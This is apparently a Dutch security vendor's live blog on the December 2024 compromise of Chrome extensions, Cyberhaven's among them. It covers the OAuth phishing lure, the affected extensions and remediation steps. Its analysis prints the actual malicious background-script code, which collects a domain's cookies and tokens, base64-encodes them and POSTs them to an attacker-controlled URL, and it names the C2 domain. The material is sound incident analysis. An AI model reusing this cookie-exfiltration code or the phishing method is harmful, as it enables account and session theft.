Laatst bijgewerkt: 30 december 2024

Deze blogthread volgt de wereldwijde aanvalscampagne die gericht is op browserextensies in de Chrome Web Store. We zullen nieuwe details updaten zodra deze beschikbaar zijn.

Samenvatting

Op 27 december 2024 maakte cybersecurity-startup Cyberhaven bekend dat een aanval zijn browserextensie had gecompromitteerd en er schadelijke code in had geïnjecteerd. Toen details van deze aanval naar buiten kwamen, werden snel meer gecompromitteerde browserextensies ontdekt, met meer dan 25 extensies waarvan momenteel bekend is dat ze zijn getroffen.

In de onderstaande live thread worden alle details uitgelegd die we weten, welke extensies zijn getroffen, hoe organisaties zichzelf moeten beschermen en hoe LayerX zijn klanten helpt bij het aanpakken van extensies die door deze aanval zijn aangetast.

Snelle links in dit document:

  • Hoe de aanval werd ontdekt
  • Hoe de aanval werd uitgevoerd
  • Technische analyse van de aanval
  • Extra getroffen uitbreidingen
  • Hoe u zichzelf kunt beschermen
  • Hoe LayerX klanten helpt zichzelf te beschermen
  • Gratis audit en herstel van gecompromitteerde extensies

Hoe de aanval werd ontdekt

Op 27 december 2024 heeft Cyberhaven zijn klanten op de hoogte gebracht van een beveiligingsinbreuk die leidde tot de inloggegevens van een Cyberhaven-medewerker, die werden gebruikt om een ​​schadelijke versie van Cyberhaven's browserextensie naar de Chrome Store te pushen. De Cyberhaven Security Extension heeft momenteel meer dan 400,000 gebruikers, die vermoedelijk door deze inbreuk zijn getroffen.

Het nieuws over het incident was eerste rapport van cybersecurityblog Vulnu, die een kopie van de e-mail van Cyberhaven aan klanten in handen kreeg.

Volgens de analyse van Cyberhaven werd op 24 december een van hun medewerkers gecompromitteerd via een phishingaanval. Hierdoor kregen aanvallers toegang tot de browserextensie van het bedrijf in de Chrome Web Store.

Aanvallers maakten vervolgens misbruik van deze toegang om een ​​schadelijke versie van de browserextensie van Cyberhaven te uploaden en deze in de vroege ochtend van 25 december bij te werken in de Chrome Store.

Volgens Cyberhaven werd de schadelijke update ongeveer een dag later ontdekt en werd de schadelijke code in de vroege ochtend van 26 december verwijderd. Al met al was de schadelijke versie iets meer dan 24 uur online.

Toen echter duidelijk werd dat er nog meer extensies waren gecompromitteerd, werd het duidelijk dat de Cyberhaven-aanval geen geïsoleerde aanval was die alleen op dit bedrijf was gericht, maar onderdeel was van een uitgebreide campagne. 

Hierdoor is de analyse van het Cyberhaven-incident relevant voor het begrijpen van de campagne als geheel.

Hoe de aanval werd uitgevoerd

Het beheerdersaccount van de Cyberhaven-browserextensie is gehackt via een gerichte phishingaanval, waardoor de aanvallers een schadelijke versie van het account konden publiceren.

Omdat dit incident niet slechts een eenmalige aanval was, maar onderdeel van een campagne die gericht was op meerdere extensies, denken wij dat de phishing-aanpak die werd gebruikt om Cyberhaven aan te vallen, ook bij alle andere extensies werd herhaald.

De meest waarschijnlijke bron van doelwitten voor de phishingcampagne is de Chrome Web Store zelf.

Voor elke extensie biedt de Chrome Store details over de uitgever van de extensie, samen met een contact-e-mailadres:

 

 

Voorbeeldcontactgegevens van de Cyberhaven-browserextensie, uit de Chrome Web Store

Met behulp van deze e-mailadressen verstuurden aanvallers vervalste e-mails die namens Google werden verzonden. Hierin werden ontvangers gewaarschuwd voor 'schendingen' in hun accounts.

Dit is een kopie van de phishing-e-mail die naar Cyberhaven is verzonden en die het bedrijf als onderdeel van hun technische analyse van het incident:

Er zijn echter ook soortgelijke e-mails uit andere bronnen opgedoken: thread op de Chromium.org discussiegroep gevraagd naar een verdachte e-mail die ze zogenaamd van Google ontvingen, om te achterhalen of dit een phishingpoging is:

Browser-extensie-aanval 2024

Deze e-mail is vrijwel identiek aan de e-mail die Cyberhaven compromitteerde (hoewel er een andere 'schending'-reden wordt genoemd), wat aangeeft dat het onderdeel was van dezelfde phishingcampagne. Volgens de post werd deze e-mail ontvangen op 23 december, precies rond de tijd dat Cyberhaven werd gehackt.

Zodra het beoogde doelwit op de e-maillink had geklikt, werd hij doorgestuurd naar een Google-autorisatieformulier om een ​​OAuth Google-applicatie met de naam 'Privacy Policy Extensions' toe te voegen.

autorisatie

Deze goedkeuringsstroom zou leiden tot autorisatie van de kwaadaardige OAuth-applicatie van derden en het verlenen van toegang tot het Chrome Web Store-account van het slachtoffer. Vanwege de manier waarop de aanval was opgezet, hoefden de aanvallers echter niet zelf de accountgegevens (d.w.z. het wachtwoord) in gevaar te brengen, maar konden ze gewoon 'meeliften' op de machtigingen die door de kwaadaardige applicatie waren verleend.

Technische analyse van de aanval

Zodra de aanvallers toegang hadden tot het Web Store-account van het slachtoffer, injecteerden ze code in het worker.js-bestand van de extensie om toegang te krijgen tot een externe URL (cyberhavenext[.]pro) en een extern configuratiebestand te downloaden.

Elke keer dat de browser werd gestart, haalde de extensie een configuratiebestand op van een externe server. Dit bestand bestuurt het gedrag van de extensie en kan dynamisch worden bijgewerkt door de aanvaller, waardoor ze kunnen dicteren wat en wanneer acties plaatsvinden. de aanvaller kan schakel het configuratiebestand op elk gewenst moment om, waardoor ze de aanval dynamisch kunnen aanpassen aan verschillende omgevingen of doelen. Dit is de sleutel tot de flexibiliteit van de aanval.

Hieronder ziet u een voorbeeld van een dergelijke code:

Browser-extensies vallen schadelijke code aan

Belangrijkste inzichten uit de code:

  1. Geïnjecteerd over meerdere extensies: De kwaadaardige code is niet beperkt tot één extensie. In plaats daarvan is het in meerdere extensies geïnjecteerd, waarbij elke extensie zijn eigen unieke configuratiebestand ophaalt. Deze strategie stelt de aanvaller in staat om de aanvalsvectoren te diversifiëren, gedragingen voor verschillende extensies aan te passen en detectie moeilijker te maken.
  2. Terugkerend gedrag:De configuratie wordt iedere keer opgehaald wanneer de browser wordt gestart. Zo wordt ervoor gezorgd dat elke extensie altijd werkt met de meest recente instructies van de aanvaller.
  3. Misleidende naamgeving: De code gebruikt variabele- of attribuutnamen, zoals cyberhavenext_ext_beheer, met de naam van het bedrijf. Dit zorgt ervoor dat het legitiem lijkt voor ontwikkelaars die de opslag of code van de extensie inspecteren.
  4. Misbruik van lokale opslag: Door de configuratiegegevens op te slaan in chrome.opslag.lokaal, zorgt de aanvaller voor persistentie. Ontwikkelaars die deze gegevens inspecteren, kunnen deze ten onrechte vertrouwen vanwege het gebruik van bekende of geloofwaardig klinkende namen.
  5. Dynamische controle: Het eindpunt (https://cyberhavenext.pro/ai-cyberhaven) stelt de aanvaller in staat om op elk gewenst moment configuratiebestanden voor elke extensie te wijzigen, waardoor hij volledige controle heeft over de functionaliteit en het gedrag van elke geïnfecteerde extensie.
  6. Aangepaste configuraties: Elke extensie haalt een unieke configuratie op, waardoor het schadelijke gedrag moeilijker te generaliseren en detecteren is. Deze aanpak maakt op maat gemaakte aanvallen mogelijk op basis van het specifieke doel of de gebruikersbasis van de extensie.

Bovendien voegde de code een nieuw bestand (content.js) toe aan de extensies, dat wordt gebruikt om gebruikersgegevens op websites te verzamelen en deze te exfiltreren naar een externe website. Het achtergrondscript in de extensie fungeert als een centrale controller, verwerkt binnenkomende berichten van contentscripts en voert verschillende acties uit op basis van die berichten. Het volgende codefragment toont een flexibele structuur die wacht om meerdere typen verzoeken te verwerken:

chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))

Het script gebruikt chrome.runtime.onMessage.addListener om verschillende acties te verwerken. Elke actie definieert een specifiek gedrag, zoals het doen van netwerkverzoeken.

Wanneer de "cyberhavenext-check-errors"actie wordt aangeroepen, de aanvaller haalt gevoelige cookies op met behulp van chrome.cookies.getAll de aanvaller combineert deze gegevens ook met andere informatie (zoals navigator[c] en e.uid) de aanvaller zal de inhoud verbergen met behulp van btoa() om het te converteren naar base64. Dit maakt de data minder leesbaar in netwerkbewakingstools, wat een laag van verduistering toevoegt.

Door deze acties in het achtergrondscript te integreren, zorgt de aanvaller ervoor dat:

  • De schadelijke activiteit is onafhankelijk van gebruikersinteracties.
  • Het gebeurt onopvallend op de achtergrond en is daardoor moeilijker te detecteren.
Uit analyses die Cyberhaven uitvoerde op blootgestelde eindpunten blijkt dat de schadelijke code zich specifiek richtte op cookies en authenticatietokens voor Facebook, en in het bijzonder op zakelijke Facebook-accounts:

Volgens Cyberhaven bestonden de beoogde gegevens uit Facebook-toegangstokens, gebruikers-ID's, accountgegevens en Facebook Ads-accountgegevens.

Extra getroffen uitbreidingen

Nadat de URL van de kwaadaardige C&C-server was geïdentificeerd, gebruikten beveiligingsonderzoekers reverse DNS om extra domeinen te identificeren die naar hetzelfde IP-adres werden omgezet. Dit leidde tot de ontdekking van extra gecompromitteerde browserextensies en onthulde de omvang van deze aanvalscampagne.

Momenteel zijn meer dan 25 browserextensies, met een installatiebasis van meer dan 2.3 miljoen gebruikers, gecompromitteerd:

  • AI-assistent – ​​ChatGPT en Gemini voor Chrome
  • AI-winkelmaatje
  • Bard AI-chat
  • Bladwijzer Favicon wijzigen
  • castorus
  • ChatGPT-assistent – ​​Slim zoeken
  • Cyberhaven beveiligingsuitbreiding V3
  • Earny – Tot 20% Cashback
  • Email Hunter
  • GPT 4 Samenvatting met OpenAI
  • GraphQL-netwerkinspecteur
  • VPN voor internet
  • Toetsenbord geschiedenis recorder
  • Papegaaienpraatjes
  • Primus
  • Reader modus
  • Beloningen Zoek Automatiseerder
  • Zoek Copilot AI Assistant voor Chrome
  • Sorteren op Oudste
  • Takker – online keylogger-tool
  • TinaMind – De GPT-4o-aangedreven AI-assistent!
  • U-stem
  • VidHelper – Videodownloader
  • Vidnoz Flex – Videorecorder & Video delen
  • Visuele effecten voor Google Meet
  • VPNStad
  • Weg AI

Hoe u zichzelf kunt beschermen

Hoewel technische analyses tot nu toe hebben aangetoond dat het hoofddoel van deze campagne de diefstal van Facebook-inloggegevens en toegangstokens was, is het onmogelijk uit te sluiten dat de inloggegevens van nog meer websites worden blootgesteld.

Daarom raadt LayerX de volgende acties aan voor alle getroffen gebruikers:

  1. Verwijder de getroffen browserextensies: zorg ervoor dat alle getroffen extensies worden verwijderd en/of geblokkeerd. Sommige extensies hebben al bijgewerkte versies geüpload die de schadelijke code hebben verwijderd, maar niet allemaal. Bovendien blijven alle gecompromitteerde extensies die al zijn gedownload, blootgesteld totdat de gebruiker de extensieversie bijwerkt. Daarom is het van cruciaal belang om alle potentieel blootgestelde extensies actief uit te schakelen.
  2. Werk alle extensies bij naar de nieuwste versies: in het geval dat er een oplossing is uitgegeven door de uitgever, is het belangrijk om de geïnstalleerde versie van de extensie zo snel mogelijk bij te werken (ervan uitgaande dat deze nog niet is verwijderd)
  3. Verwijder alle cookies van de getroffen gebruikers: aangezien de aanval gericht was op cookies en toegangstokens van websites, is het noodzakelijk om alle bestaande cookies te verwijderen en de toegangstokens te vernieuwen.
  4. Wachtwoorden roteren: Als best practice wordt ook aanbevolen om alle wachtwoorden van getroffen gebruikers te vernieuwen, om ervoor te zorgen dat er geen toegangsgegevens in gevaar komen.

Hoe LayerX zijn klanten helpt

  1. Ontdekking van blootgestelde extensies: sinds het Cyberhaven-incident aan het licht kwam, hebben beveiligingsonderzoekers over de hele wereld gewerkt aan het identificeren van aanvullende gecompromitteerde extensies. LayerX is actief geweest in deze inspanning, heeft een aantal van dergelijke extensies ontdekt en deze gecombineerd met openbaar beschikbare informatie.
  2. Detectie van kwaadaardige extensies die in de netwerken van klanten zijn geïmplementeerd: LayerX heeft zijn lijsten met schadelijke extensies voortdurend bijgewerkt met extensies waarvan is ontdekt dat ze door deze inbreuk zijn gecompromitteerd. Wanneer een dergelijke extensie wordt ontdekt, worden klanten onmiddellijk gewaarschuwd. Daarnaast heeft LayerX actief contact opgenomen met getroffen klanten om hen te waarschuwen voor deze bevindingen.
  3. Implementatie van automatische handhavingsbeleid: LayerX heeft het klantbeleid bijgewerkt om automatisch elke bekende gecompromitteerde extensie uit te schakelen.
  4. Verwijderen van blootgestelde gebruikerscookies: Op verzoek van de gebruiker kan LayerX actief afdwingen dat cookies van blootgestelde gebruikers worden verwijderd, waardoor cookies en authenticatietokens opnieuw worden ingesteld.
  5. Wachtwoordrotatie afdwingen voor blootgestelde gebruikersLayerX kan ook beveiligingsbeleid implementeren om wachtwoordrotatie af te dwingen bij blootgestelde gebruikers, om ervoor te zorgen dat geen toegangsgegevens blootgesteld blijven.

Gratis audit en herstel van gecompromitteerde extensies

Vanwege de omvang en reikwijdte van deze aanval biedt LayerX organisaties die door deze aanval zijn getroffen (of die bang zijn dat ze mogelijk worden getroffen) een gratis audit en herstel van browserextensies aan.

Deze audit omvat:

  • Ontdekking van alle browserextensies die in uw omgeving zijn geïnstalleerd
  • In kaart brengen welke gebruikers welke extensies op hun eindpunten hebben geïnstalleerd
  • Gedetailleerde risicobeoordeling van elke browserextensie
  • Verwijdering van gecompromitteerde kwaadaardige browserextensies
  • Rotatie van gebruikerscookies en wachtwoorden, indien nodig

Klik hier om u aan te melden voor deze beoordeling.